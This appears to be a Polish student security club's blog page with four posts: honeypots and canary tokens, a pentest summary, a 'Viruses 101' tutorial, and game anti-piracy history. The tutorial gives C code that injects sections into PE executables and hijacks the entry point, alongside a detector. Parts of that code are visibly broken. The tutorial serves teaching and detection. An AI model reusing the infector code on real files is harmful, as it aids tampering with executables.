KN White Hats – Artykuły

[ENG] Oh Bother - We got hacked again

Sun, 29 Mar 2026 00:00:00 +0000

You’ve probably heard about honeypots. But if you work in a corporate environment, you’ve probably never used one. Why is that?

Defensive (Blue) teams deploy various tools on their networks. EDRs, NGFWs, IPS/IDS solutions, all of them have one common pitfall - they generate a lot of data. That might not sound like a bad thing, but it leads to situations where alerts are ignored because “that’s probably just a false positive”, “one of the yara rules has an empty string as a match”, and others.

In many cases, these tools are not used to detect active attacks, but are used to perform a “post mortem”, to figure out what happened on that one subnet that apparently wasn’t behind a firewall last month.

“There’s no problem too big that a little honey can’t solve.” ~ Winnie the Pooh

Honeypots and other deception tactics are different. They are designed around the idea that you can place a very “delicious” looking component somewhere in your system, which has no legitimate use. That means, that if something weird is happening on it you can be sure that you are, in fact, getting pwned right now.

Honeypots

The general idea? Deploy something that someone can easily “hack” into - and be alerted when they do. This is the most common type of decoy. It can be a standard Windows/Linux server, a NAS, a network switch, a web app, or basically any other system.

The Awesome-honeypots Github repo collects lots of cool plug ’n play projects that mimic things like MySQL databases or even SSH servers. Most of them are pretty old, but they can give a general idea of the possibilities.

OpenCanary

This is a very well maintained and reputable project. It has reasonable system requirements, and is packed full of features. Below you can see a fake login screen, created by its HTTP module. Check out their repository on Github.

Synology NAS honeypot from opencanary.

T-Pot

One of the most interesting honeypot projects that I have found is T-Pot, which is still under development. It is easy to deploy and provides every possible honeypot service. I’d say its main issue lies in the system requirements:

(…) The T-Pot installation needs at least 8-16 GB RAM, 128 GB free disk space as well as a working (outgoing non-filtered) internet connection.

Download or use a running, supported distribution.

Install the ISO with as minimal packages / services as possible (ssh required)

That’s quite a lot for a honeypot, but T-Pot includes additional tools like for example the entire ELK Stack, so I guess it can be slimmed down. I strongly recommend experimenting with it yourself, but here are some stats I gathered a few years ago by hosting T-Pot on Azure with a public IP address and every possible service enabled:

T-Pot usernames and password stats (click to zoom-in)

T-Pot traffic source IPs reputations and commands ran

The obvious issue with honeypots is that they must be running all the time, which can sometimes be problematic due to costs or for other reasons. This is why the next section exists.

Canarytokens / Honeytokens

This is a much more interesting solution – canary tokens are tiny tripwires, which can be practically anything, like files, API keys, dummy credentials or even credit card numbers. The name comes from Canaries, little birds used in 20th century to detect carbon monoxide gas by the coal mining industry.

Here are some real-life examples of such tokens:

Credit cards – valid credit card data can be placed in a password manager, if it gets breached and someone tries to use it, a notification is sent instantly. Without that we wouldn’t be able to detect this kind of breach in any other way.
API keys – as described by Grafana, this token can be placed in a CI/CD config to later detect someone stealing secrets with trufflehog.
MS Office file – ultra simple solution, a docx/xlsx file that triggers an alert once opened, filled with genuine-looking customer data, usually placed on an enterprise cloud drive.
QR codes – a good physical option, it can be printed and hung on a wall in a secure location, and who knows, maybe it will catch some rare species like physical red-teamers.

One of the most popular vendors of this solution is Thinkst Canary, you can test their tool for free here: https://canarytokens.org. I do not know if this is the best solution available, but it’s the only one I’ve used, so feel free to explore other options!

Some canary tokens available on canarytokens.org

The good news is that the code is open source on Github! It should only take a few minutes for you to distribute some files or API keys across your systems, while it costs essentially nothing. It’d say it’s 100% worth it.

How does a canarytoken notification work?

You might be wondering how on earth a docx file can send notifications when being opened. That’s a good question, and the answer short answer is ✨DNS Tunnelling✨. You can read a bit more about their approach here, but in simple terms:

The file contains a tracking pixel, a tiny element, invisible to the user, which is embedded in the file.
The pixel links to a remote server, owned by the creator of the tokenised file.
When the file is opened, a DNS request is sent to resolve the domain name that hosts the pixel to an IP address.
Once the IP is known an additional HTTP request is sent to retrieve the pixel.

Either the DNS or the HTTP request would suffice to recognise that the file was opened, but some networks can filter out specific HTTP/DNS packets. Having two ensures redundancy.

DNS query

HTTP request

Honey Users

Creating a new user in your identity management solution like Active Directory is trivial and free (usually). To make the user a deception tool, configure an alert on every login attempt for the account and boom, you have another trap that can detect eg. password spraying attacks. It’s a good idea to plant the username of this user someplace where a potential attacker can get it (more easily than legitimate usernames).

You can even plant real passwords with real usernames to let attackers log in and observe them as Ross Bevington showed here - an expensive, but really cool experiment!

Three important rules to follow when creating honey users:

Do not name the user “John Doe”, “Jan Kowalski”, “Jean Dupont”, or whatever name is used as a placeholder in your language.
The account must not be used by anyone, any login attempt indicates confirmed malicious activity.
It’d be nice to add the account to some real groups to make it look convincing, but do not assign it any sensitive permissions.

F4keH0und

Attackers may want to run tools like SharpHound once they establish a beacon in your network to enumerate the Active Directory structure. Their goal is to find edges, permissions or relationships between AD objects, and then abuse them for privilege escalation or pivoting.

Example Bloodhound graph displaying AD structure

An interesting example of a connection might be an administrator connected to a PC with HasSession link. This could mean that the user has left their credentials on the system, which can later be stolen by the adversary. F4keH0und helps find opportunities where such relationships can be planted to lure attackers.

How NOT to design deception tools

Deception systems have to be believable, and appear as ordinary (and perhaps older) systems, as opposed to the below host that I found on Shodan.

Example of a super duper ultra suspicious honeypot

This is why you should not have a:

passwords.txt file on Desktop, it screams “trap” and therefore is not a good idea for a canarytoken.
file named confidential.pdf with rwxrwxrwx permissions is too obvious.
Ubuntu 12.04 host is too ancient to not be considered a honeypot.
Domain controller named DC01-HONEYPOT is an extremely bad idea.

Honeypots and other deception elements should be carefully planned and strategically distributed, because an unrealistically large number of open ports will definitely alert an intruder, making them as stealthy as possible.

Every trap we deploy must be intriguing enough to make people want to interact with it. We have to balance making it seem normal with not making it obviously fake. A regular Windows machine can attract interest if it appears in a realistic context. At the same time, a honeypot server must be indistinguishable from production servers.

Alex, am I black with white stripes or black with white stripes?

You should heavily consider deploying deception tools on your network. At the very least, they will be another source of data that you can use to identify potential threats, and at their best they might just prevent another expensive incident to investigate.

Sources

Solvro x WhiteHats

Mon, 09 Mar 2026 00:00:00 +0000

W okresie od grudnia 2025 r. do lutego 2026 r. w ramach współpracy ze strategicznym kołem naukowym Solvro przeprowadziliśmy badanie zabezpieczeń aplikacji webowej “Testownik”.

Zakres i metodologia

Badanie zostało przeprowadzone w trybie hybrydowym, łączącym audyt kodu wraz z testami penetracyjnymi aplikacji.

Audyt kodu źródłowego został przeprowadzony pod kątem identyfikacji luk w zabezpieczeniach oraz niepożądanych zachowań aplikacji. Szczególną uwagę poświęciliśmy funkcjonalności uwierzytelniania i autoryzacji użytkowników.
Przeprowadziliśmy również przegląd kodu pod względem identyfikowania podatności z listy OWASP Top 10 2025 i za pomocą tej metodologii zidentyfikowaliśmy kilka, o różnych stopniach zagrożenia.

Testy penetracyjne przeprowadzaliśmy z założeniem, że do aplikacji Testownik dostęp chcą uzyskać osoby trzecie z niecnymi celami – wcielając się w rolę potencjalnego hakera. Wszelkie działania zostały przez nas przeprowadzone wyłącznie w środowisku testowym udostępnionym nam przez KN Solvro.

Wyniki badań

Zidentyfikowaliśmy kilka podatności, które zostały niezwłocznie zgłoszone, a następnie naprawione przez zespół pracujący nad aplikacją. W wyniku naszych działań, w Testowniku wprowadzone zostały następujące zmiany:

aplikacja używała domyślnych funkcji do generowania kodów OTP – teraz korzysta z bezpieczniejszych kryptograficznie algorytmów,
w wyniku spowodowania błędu na jednym z endpointów aplikacji użytkownik mógł otrzymać adres wewnętrznego serwisu N8N – zostało to naprawione, a w przypadku wystąpienia błędów, aplikacja natychmiast poinformuje zespół deweloperów, pomagając szybciej identyfikować potencjalne problemy,
przy uruchomieniu starszych quizów, aplikacja poprosi użytkownika o potwierdzenie przed załadowaniem zewnętrznych zdjęć.

Podsumowanie

Dziękujemy członkom Solvro za współpracę w ramach tego projektu. Dzięki owocnej kooperacji Testownik jest teraz jeszcze bezpieczniejszy — dla wszystkich.

Pozwalając nam na przeprowadzenie naszych badań KN Solvro pokazuje dedykację do zwiększania bezpieczeństwa swoich użytkowników. Dodatkowo, podczas naszej współpracy na własną rękę przekonaliśmy się, że zespół monitorujący bezpieczeństwo aplikacji czuwa — nawet o 3 rano.

Testy penetracyjne w strategicznych godzinach nocnych

Czy Wasza Organizacja też potrzebuje testów bezpieczeństwa swoich urządzeń lub aplikacji? Jeśli checie nawiązać z nami współpracę – zapraszamy do kontaktu!

[ENG] Viruses 101

Thu, 26 Feb 2026 00:00:00 +0000

Disclaimer: This is not how modern viruses work. Viruses used to work this way 20 years ago, but it’s too easy to detect nowadays. Everything is for educational purposes only.

DOS Header

All Portable Executable (*.exe) files start with the DOS header. Windows as an operating system is built upon decades-old legacy code inherited from MS-DOS itself. In newer applications, it serves one purpose: in case someone’s grandma decides to run a modern app on MS-DOS, it allows said app to display “This program cannot be run in DOS mode”. Microsoft is very particular when it comes to backwards compatibility (or at least they were prior to Windows 11), even if said compatibility is just displaying “this computer belongs in a museum, buy a new one”. The DOS header is a fixed-size structure which always starts with two magic bytes “MZ” and has pretty much only one field of note: something akin to a pointer to the more modern headers.

COFF Header

The “COFF Header” starts with “PE” (“Portable Executable”) and contains mostly “pointers” to other, more important parts. Located just after the COFF header is an “Optional Header”. Its name comes from the fact that object files might sometimes not have it, even if literally everything else does (bad naming conventions are very common in the Windows API). The optional header contains some useful values, including its own magic number - 0x10b in the case of PE32 (32-bit executables) and 0x20b in the case of PE32+ (64-bit executables). Yes, thirty-two-plus.

Sections

After that, come the “Section Headers” - the things we’re interested in. These headers contain information about “sections” - chunks of binary data loaded into memory alongside the program. Sections are perhaps the most important pieces of PE32(+) executables. Without them, you couldn’t have any code or data inside the file. Each section header is quite compact and somewhat resembles UEFI protocol structs.

Entry point

There are a myriad of ways in which computer viruses can operate, but they require changing files to execute the virus’s code. Portable executables, just like ELF, have a “pointer” called an “Entry point”. This entry point tells the operating system where the code starts. One of the ways in which a simple virus could work is adding additional sections to an executable, then changing the entry point to that section and inserting a jump to the original entry point to cover up its traces.

In this article we’ll be exploring the details of how this process works by writing a program to do exactly that, as well as writing another program to heuristically detect such changes. Our detector will work only with PE32 files, but it would be very easy to adapt it to work with PE32+ files as well, by simply replacing all IMAGE_*32 structs with IMAGE_*64.

Pseudo “virus”

We’ll be writing our programs in C, for the sole reason that it is the language chosen by some Microsoft employees a long time ago, and in which they wrote the Windows API. It would be fairly easy to rewrite it in another high-level language like C++ or Rust, provided it’s not “too high level” and still provides easy access to files and binary data.

We’ll start writing our program by accepting user input. This could be done in a multitude of ways, but we’ll go with command-line arguments dictating an input file to modify, another input file to read our nefarious code from, and an output file to write to:

#include <stdio.h>

int main(int argc, char **argv) {
 if (argc != 5) {
 printf("Usage: %s <input PE file> <nefarious code> <nefarious data> <output PE file>\n", argv[0]);
 return 1;
 }

 add_new_section(argv[1], argv[2], argv[3], argv[4]);
 return 0;
}

Then, we can start writing a function that modifies a PE by adding a new section. Let’s call it add_new_section:

void add_new_section(char* input_filename, char *code_filename, char *data_filename, char* output_filename) {
 FILE *input = fopen(input_filename, "r+b"),
 *code = fopen(code_filename, "r+b"),
 *data = fopen(data_filename, "r+b"),
 *output = fopen(output_filename, "w+b");

 copy_file(input, output);

void copy_file(FILE *input, FILE *output) {
 char buffer[4096];
 size_t bytes_read;

 while ((bytes_read = fread(buffer, 1, sizeof(buffer), input)) > 0) {
 fwrite(buffer, 1, bytes_read, output);
 }
 frewind(input);
 frewind(output);
}

Next, we can start reading the file. As mentioned before, portable executable files start with a structure called the “DOS header”. To get access to that structure in our program, we first need to define it ourselves since Microsoft doesn’t provide its definitions anywhere (as far as I know):

typedef struct {
 uint16_t e_magic; // Magic number (0x5A4D = MZ)
 uint16_t e_cblp; // Bytes on last page of file
 uint16_t e_cp; // Pages in file
 uint16_t e_crlc; // Relocations
 uint16_t e_cparhdr; // Size of header in paragraphs
 uint16_t e_minalloc; // Minimum extra paragraphs needed
 uint16_t e_maxalloc; // Maximum extra paragraphs needed
 uint16_t e_ss; // Initial (relative) SS value
 uint16_t e_sp; // Initial SP value
 uint16_t e_csum; // Checksum
 uint16_t e_ip; // Initial IP value
 uint16_t e_cs; // Initial (relative) CS value
 uint16_t e_lfarlc; // File address of relocation table
 uint16_t e_ovno; // Overlay number
 uint16_t e_res[4]; // Reserved
 uint16_t e_oemid; // OEM identifier
 uint16_t e_oeminfo; // OEM information
 uint16_t e_res2[10]; // Reserved
 uint32_t e_lfanew; // File address of PE header (offset to "PE\0\0")
} IMAGE_DOS_HEADER;

We can read it by simply using:

 IMAGE_DOS_HEADER dos_header;
 fread(&dos_header, sizeof(dos_header), 1, input);

Now, where do we go from here? Portable executable files don’t use pointers, and instead they use what they call “Relative Virtual Addresses” (or RVAs for short). These are offsets from the beginning of the file, and are useful because they hold up no matter where the beginning of the file is loaded in memory. So, to get the address of a struct given some RVA, we need to do:

address = beginning_of_file + RVA;

Fortunately, the C standard library provides us with a way to easily jump to different places in a file: fseek! We can use it to “go to” the COFF Header, to which the RVA is stored in the e_lfanew field (I imagine it gets its name from “extended_”, “long file address” and “new (headers)”):

 fseek(input, dos_header.e_lfanew, SEEK_SET);
 IMAGE_FILE_HEADER file_header;
 fread(&file_header, sizeof(file_header), 1, input);

To get the definition of IMAGE_FILE_HEADER, we can include winnt.h, or copy it from MSDN.

Just after the IMAGE_FILE_HEADER, there is an IMAGE_OPTIONAL_HEADER32 which we’ll need later, so we might as well grab it now:

 IMAGE_OPTIONAL_HEADER32 optional_header;
 fread(&optional_header, sizeof(optional_header), 1, input);

Once again, either include winnt.h or copy the struct from MSDN. While you’re there, also copy IMAGE_SECTION_HEADER.

Now we have everything we need to create new sections. First, create the struct in memory and fill in all the data:

 IMAGE_SECTION_HEADER new_section;
 memset(&new_section, 0, sizeof(new_section));
 strncpy((char*)new_section.Name, ".virus", 8); /* arbitrary name */
 new_section.VirtualSize = 0x1000; /* minimum size */
 new_section.VirtualAddress = 0xB000; /* arbitrary virtual address that often doesn't overlap */
 new_section.SizeOfRawData = new_section.VirtualSize;
 new_section.PointerToRawData = optional_header.SizeOfImage; /* append at the end of the file */
 new_section.Characteristics = 0x60000060; /* IMAGE_SCN_CNT_CODE | IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ */

I chose to name the section ".virus". These names can be up to 8 bytes long and usually start with a dot ('.'). Real viruses wouldn’t be as kind as I am to point out that they are malicious, so they would use more innocuous names like ".data".

Another arbitrary choice is the VirtualAddress. Its name is pretty self-explanatory - it’s an RVA to the start of the section. For obvious reasons, sections shouldn’t overlap. I chose 0xB000 since it should be clear of other sections in most small programs. You could, if you wanted, iterate over the existing sections to find an address that you can guarantee not to overlap.

The Characteristics field should be pretty self-explanatory for anyone who’s ever called mmap or any kind of a similar function. It’s just a binary OR on a bunch of enums. You could insert the enum values directly in there, but I prefer (in this case) writing out the number in code and the enum values in a comment.

After filling in the struct, we need to traverse to the end of the current sections and write the struct there (we just hope there’s nothing else in that space, and due to padding, there usually isn’t):

 uint32_t section_offset = dos_header.e_lfanew + sizeof(file_header) + file_header.SizeOfOptionalHeader;
 fseek(output, section_offset + file_header.NumberOfSections * sizeof(IMAGE_SECTION_HEADER), SEEK_SET);
 fwrite(&new_section, sizeof(new_section), 1, output);
 file_header.NumberOfSections += 1;
 optional_header.SizeOfImage += new_section.VirtualSize;

Since the output file pointer is now exactly after our newly added section, we can add the second section without worrying about fseek:

 memset(&new_section, 0, sizeof(new_section));
 strncpy((char*)new_section.Name, ".vdata", 8); /* another arbitrary name */
 new_section.VirtualSize = 0x1000;
 new_section.VirtualAddress = 0xC000;
 new_section.SizeOfRawData = new_section.VirtualSize;
 new_section.PointerToRawData = optional_header.SizeOfImage + 0x1000;
 new_section.Characteristics = 0xc0000040; /* IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE */

and once again add the new section like before.

Now, take a note of the original entry point and modify it:

 uint32_t original_entry_point = optional_header.AddressOfEntryPoint;
 optional_header.AddressOfEntryPoint = 0xB000;

The next thing we need to do is update the file header and optional header with the new data:

 fseek(output, dos_header.e_lfanew, SEEK_SET);
 fwrite(&file_header, sizeof(file_header), 1, output);
 fwrite(&optional_header, sizeof(optional_header), 1, output);

The only thing left is to fill in that data at the end of the file:

 fseek(output, optional_header.SizeOfImage - 0x2000, SEEK_SET);
 char buff[0x1000];
 size_t code_len = fread(buff, 1, 0x1000, code);
 fwrite(buff, 1, 0x1000, output);
 fread(buff, 1, 0x1000, data);
 fwrite(buff, 1, 0x1000, output);

And, of course, insert the jump:

 char jmp_instruction = 0xE9; /* jump on x86_64 aka. AMD64 */
 uint32_t jmp_offset = original_entry_point - (0xB000 + code_len + 5);
 fseek(output, optional_header.SizeOfImage - 0x2000 + code_len, SEEK_SET);
 fwrite(&jmp_instruction, 1, sizeof(jmp_instruction), output);
 fwrite(&jmp_offset, 1, sizeof(jmp_offset), output);

I suppose the jump instruction might require some explanation. If I didn’t screw anything up (as I’m writing this from memory, equipped with Google), opcode 0xE9 should be a 5-byte instruction that takes in a 4-byte signed integer and adds it to the instruction pointer before executing the next instruction. It’s x86’s “short jump” (as opposed to x86_64 “long jump”) from the next instruction that the processor would execute to the original entry point. It’s just some assembly magic, don’t worry about it if you don’t understand it.

And Voilà! Everything is done now!

Of course, proper viruses would also at the very least adjust the file checksum in the optional header (since not doing that might trigger warnings/errors), but “real-life virus activities” are beyond the scope of this article.

Although this is just a small proof-of-concept and we can skip most error checking in fopen, magic number validation, etc. (except if you’re writing this in rust, good job on picking up the one language that forbids you from quickly writing a small program), we’re also good programmers and remember to close everything we opened:

 fclose(input);
 fclose(code);
 fclose(data);
 fclose(output);

To cross-compile this program from linux to windows, we’ll need MinGW:

$: x86_64-w64-mingw32-gcc -o add-section.exe add-section.c

We can run it using wine (“Wine Is Not an Emulator”, a windows-API-to-posix compatibility layer):

$: echo "Hello, World!" > code
$: echo "This is the data section" > data
$: wine ./add-section.exe add-section.exe code data suspicious-file.exe

In a real setting, the code and data would not be read from files, and would not (most likely) be text. code would come either from a compiled function or nasm (assembled machine code), and data would be anything and everything the virus needs to run (though some “shellcodes” can avoid having external “data”).

Simple virus detector

In this part, we’ll write a “virus detector” that will scan a file, display information about its sections, and warn us if it might have been modified by the previous add-section.exe. We’ll reuse some code from the previous program, so I’ll skip explaining it:

void print_sections(char *filename) {
 FILE *file = fopen(filename, "r+b");
 IMAGE_DOS_HEADER dos_header;
 fread(&dos_header, sizeof(dos_header), 1, file);
 fseek(file, dos_header.e_lfanew, SEEK_SET);
 IMAGE_FILE_HEADER file_header;
 IMAGE_OPTIONAL_HEADER32 optional_header;
 fread(&file_header, sizeof(file_header), 1, file);
 fread(&optional_header, sizeof(optional_header), 1, file);
 IMAGE_SECTION_HEADER section_header;
}

int main(int argc, char* argv[]) {
 if (argc != 2) {
 printf("Usage: %s <"scan" target>\n", argv[0]);
 return 1;
 }

 print_sections(argv[1]);
 return 0;
}

This program will be quite simple: it will iterate through all the sections, display informations about them, and check if they are executable. If two or more executable sections are found, it’ll also display an additional alert. We can do most of that with just a few lines of code:

 unsigned int executable_sections = 0;
 IMAGE_SECTION_HEADER section_header;
 for(unsigned int i = 0; i < file_header.NumberOfSections; ++i) {
 fread(&section_header, sizeof(section_header), 1, file);
 if(section_header.Characteristics & 0x20000000) { /* IMAGE_SCN_MEM_EXECUTE */
 ++executable_sections;
 }
 display_section(section_header);
 }

We can quickly add a warning message at the end of this for loop to finish this function:

 if(executable_sections > 1) {
 printf("WARNING: %u executable sections found. This file might have been tampered with\n", executable_sections);
 }

I suppose I should mention that while normal executables do usually have only one executable section (".text"), sometimes legitimate files might have more. I’ll leave finding examples of such files as an exercise for the reader.

For that exact reason, this warning will display when “scanning” some infected files (since there would be 2+ executable sections), but it might also trigger false positives.

Now, we can write the display_section function:

void display_section(IMAGE_SECTION_HEADER section) {
 printf("SECTION: %s\n", section.Name);
 printf("\tVirtual addr: %u\n", (unsigned int)section.VirtualAddress);
 printf("\tVirtual size: %u\n", (unsigned int)section.Misc.VirtualSize);
 printf("\tCharacteristics: 0");
 if(section.Characteristics & 0x00000020) printf(" | IMAGE_SCN_CNT_CODE");
 if(section.Characteristics & 0x00000040) printf(" | IMAGE_SCN_CNT_INITIALIZED_DATA");
 if(section.Characteristics & 0x00000080) printf(" | IMAGE_SCN_CNT_UNINITIALIZED_DATA");
 if(section.Characteristics & 0x10000000) printf(" | IMAGE_SCN_MEM_SHARED");
 if(section.Characteristics & 0x20000000) printf(" | IMAGE_SCN_MEM_EXECUTE");
 if(section.Characteristics & 0x40000000) printf(" | IMAGE_SCN_MEM_READ");
 if(section.Characteristics & 0x80000000) printf(" | IMAGE_SCN_MEM_WRITE");
 printf("\n");
}

Done!

We can compile and run it just like before:

$: x86_64-w64-mingw32-gcc -o inspect.exe inspect.c
$: wine ./inspect.exe suspicious-file.exe

And it should print all sections, as well as warn us about that file.

Applications

Modern viruses usually don’t create new sections, since that’s very easy to spot. They hide their code in empty space or sometimes even forego the “trojan horse” aspect and overwrite the file’s original code. The purpose of this article was not to give a method of defence against viruses and even more so not to help bad actors in virus development; it was to, in an easy and approachable way, help understand the inner workings of this very common type of malware.

As the saying goes, “Give a Man a Fish, and You Feed Him for a Day. Teach a Man To Fish, and You Feed Him for a Lifetime”. This article strives to do exactly that: not give virus hashes to defend against current threats, but give the understanding of virus operation to create safer environments for a long while.

Systemy antypirackie w grach

Mon, 29 Dec 2025 00:00:00 +0000

Wstęp

Czy to przez niedostępność danego tytułu, krzywdzące przeliczanie waluty, chęć zamanifestowania swego rodzaju stanowiska, czy zwykłą niechęć do wydawania pieniędzy, piracenie gier komputerowych istnieje od samego początku gamingu. Z dużą dozą pewności można również stwierdzić, że będzie istniało również w przyszłości. Mało kto jednak pobierając najnowszy zcrackowany tytuł Bethesdy, strzelankę od Activision albo soulslike’a od From Software, zadaje sobie pytania o to, jak dokładnie wygląda proces tworzenia nielegalnych kopii oraz w jaki sposób twórcy sobie z nim radzą. Warto zaznaczyć, że artykuł ma charakter czysto informacyjny i nie namawia do żadnych nielegalnych akcji - służy jedynie jako medium przybliżające nieustającą walkę między twórcami zabezpieczeń do gier wideo (i nie tylko), a crackerami.

Najpopularniejsze zabezpieczenia antypirackie… i ich obejścia

Przejdziemy kolejno przez wszystkie etapy rozwoju branży: zaczynając od lat 80 i wydanego wtedy ZX Spectrum, przez erę namiętnego wykorzystywania i ewolucji płyt CD i DVD, a kończąc na obecnej erze uciążliwych DRMów i systemów always-online.

Wymaganie posiadania oryginalnych fizycznych dodatków do gry i pierwsze komputery osobiste

Wydawany od 1982 roku przez angielską firmę Sinclair Research, 8-bitowy komputer domowy ZX Spectrum osiągnął spektakularny sukces sprzedażowy, zyskując tytuł najlepiej sprzedającego się komputera w rodzimej Wielkiej Brytanii. Nie dziwi więc fakt, że kiedy trafił na niego przełomowy tytuł Manic Miner, który nie posiadał żadnych dedykowanych zabezpieczeń, to był on kopiowany na masową skalę. Jednak niniejszy artykuł opowiada o zabezpieczeniach do gier. Czemu więc Manic Miner został wspomniany? Ponieważ twórca gry – Matthew Smith zadbał o lepszą (w sensie jakąkolwiek) ochronę przy okazji swojego kolejnego projektu.

Kolejną grą Smitha było Jet Set Willy

https://tvandfilmstuff.co.uk/wp-content/uploads/2023/05/Jet-Set-Willy.jpg

Jet Set Willy (swoją drogą, kontynuacja Manic Miner) wymagał od gracza podania konkretnych słów z instrukcji, której osoba z piracką wersją nie miała (chyba że posiadała kartkę i długopis albo, nie daj Boże, legendarną moc fotokopii). Rozwiązanie ,,na papierze" było dobre, ale w praktyce, jeżeli ktoś nie chciał cały czas uwierzytelniać produktu, mógł dokonać kilku zmian w kodzie gry i całkowicie wyeliminować zabezpieczenie. Niedługo miało się jednak zrobić dla crackerów dużo bardziej problematycznie i zależnie od rozwiązania również dla graczy.

System Speedlock robił coś, co z perspektywy czasów obecnych wydaje się być utopijnym marzeniem. Był to bowiem system utrudniający życie crackerom, mogący oszczędzić środki wydawcom, jednocześnie ułatwiający życie graczom. W 1984 roku w grze Daley Thompson’s Decathlon po raz pierwszy użyto systemu Speedlock, który ładował treść dużo szybciej od zwykłego loadera ZX Spectrum, przy okazji sprawdzając, czy nie ładuje się wolniej. Twórcy założyli, że system ładujący ponad 150% powyżej normalnej prędkości nie będzie się niezawodnie kopiował przy wielokrotnym przepisywaniu kaset przez zwykły magnetofon, a przez większą szybkość, gra potrzebowałaby mniej taśmy. Problematyczne jednak było to, że przez specyfikę działania systemu nawet oryginalne taśmy nie zawsze osiągały wymaganą prędkość, co sprawiało problemy graczom. Finalnie piratom udało się to obejść odpowiednio spowalniając prędkość zapisu. Był to więc miecz obosieczny, ale wspominany dużo lepiej od kolejnej pozycji.

Wypuszczony w 1985 Lenslok był na tyle płaski, że mieścił się do pudełka z kasetą z grą. Sam mechanizm był dość prosty: rząd pryzmatów w plastikowej ramie, który po spojrzeniu przezeń pozwalał na odczytanie kodu weryfikacji do danego tytułu. Kod był bowiem podzielony na paski, a tylko z Lenslokiem układały się one odpowiednio i dawały odczytać. Problemem tego rozwiązania było jednak to, że nie działało ono na zbyt dużych czy zbyt małych telewizorach albo sprawiało trudności osobom z astygmatyzmem.

Lenslok - plastikowa ramka z pryzmatami

https://user-images.githubusercontent.com/50949/105728823-7ae19e80-5f24-11eb-91d6-ffcfa36f5a70.png

Odchodząc od ery gier kasetowych, wkroczmy w świat dyskietek. Trzy lata po wypuszczeniu ZX Spectrum swój debiut miał 16 bitowy Commodore Amiga. Sprzęt dużo bardziej imponujący względem bebechów, a co za tym idzie droższy, ale również stawiający większy opór piratom. Zacznijmy od samego nośnika: kasety taśmowe zastąpiono dyskietkami, mającymi większą pojemność i bardziej rozbudowane możliwości zapisu. Standardowe nagrywarki zazwyczaj zapisywały dane na 80 ścieżkach (0-79), natomiast zostawiały mały pusty margines na samym końcu, co twórcy zaczęli wykorzystywać. Mogli posłużyć się droższym sprzętem i zapisać tam, np. dane weryfikacyjne (miejsce dostępne na marginesie było 81 ścieżką). W ten sposób działał stworzony przez Roba Northena Copylock, uniemożliwiając zapis danych weryfikacji przy użyciu zwykłego domowego sprzętu. Inne sztuczki wykorzystujące specyfikę zapisu na kasetach obejmowały zapis na długich ścieżkach (więcej niż 11 sektorów) czy pół ścieżkach kończących zapis w połowie sektora. Działający z Copylockiem, choć stworzonym trochę przed tym zabezpieczeniem, był Trace Vector Decoder. TVD to technika wykorzystująca tryb śledzenia procesora Motorola 68000. Deszyfrował kod maszynowy ‘just-in-time’ przed wykonaniem i re-szyfrował po wykonaniu, więc w pamięci znajdowały się maksymalnie jedna lub dwie odszyfrowane instrukcje. Warto zaznaczyć, że droga od kaset do dyskietek to nie tylko kwestia pojemności. Kasety magnetyczne można było kopiować z funkcją dubbing, którą posiadała większość gospodarstw domowych. Dyskietki wymagały drugiego napędu lub specjalistycznego oprogramowania, takiego jak X-Copy, co podnosiło próg wejścia dla piratów - nieznacznie, bo grupy crackerskie szybko się dostosowały.

Era płyt CD i systemów DRM

Lata 90. przyniosły światu popularyzację formatu CD-ROM (standardu stworzonego w 1985 roku), co doprowadziło do sprzedaży pierwszych gier na tym nośniku. Jak nietrudno się domyślić, ogromna pojemność płyty rozbudzała wyobraźnię zarówno twórców gier, jak i graczy. Wyobraźcie sobie skok z 1,44 MB na dyskietce do 650-700 MB na CD - niemal 500 razy więcej miejsca! Po raz kolejny jednak okazało się, że rynek nielegalnych kopii bardzo chętnie położy łapy na źle zabezpieczonych (o ile w ogóle) tytułach. Studia tworzące gry ruszyły więc z ofensywą.

Termin “Digital Rights Management” ukuto na przełomie wieków - wcześniejsze zabezpieczenia jak code wheels czy Copylock pełniły przecież podobną rolę, ale nie nazywano ich jeszcze DRM-ami. Obecnie systemy te są kojarzone bardzo negatywnie, bo według wielu osób godzą bardziej w legalnych odbiorców niż w piratów - co łatwo zrozumieć patrząc na poniższe przykłady. Zanim jednak przejdziemy dalej, warto wspomnieć, że DRM-y nie służą wyłącznie do ochrony gier, ale ogólnie dóbr cyfrowych - stąd nazwa Digital Rights Management (zarządzanie prawami cyfrowymi), ale po kolei.

SecuROM

Stworzony w 1998 roku przez Sony SecuROM był jednym z pierwszych znienawidzonych zabezpieczeń uznawanych za DRM, głównie dlatego, że utrudniał życie regularnym użytkownikom, jednocześnie nie będąc specjalnie uciążliwym dla piratów. W swoich założeniach SecuROM podnosił poprzeczkę już w warstwie fizycznej danej gry. Specjalny klucz umieszczany był na nośniku w taki sposób, żeby nie dało się go łatwo skopiować powszechnie dostępnymi metodami. Dokładniej mówiąc, Sony podczas produkcji nośników nanosiło w 24 sektorach podkanału Q dysku błędy poprzez użycie operacji XOR z wartościami 0x0080 albo 0x8001. Te zmiany były na tyle duże, żeby dało się je wykryć, jednocześnie pozostając niedostępnymi dla powszechnych rozwiązań.

Jedną z pierwszych gier zawierających SecuROM był wydany w 1998 roku Need for Speed III: Hot Pursuit

https://images.pcgamingwiki.com/d/db/Need_for_Speed_III_Hot_Pursuit_cover.jpg

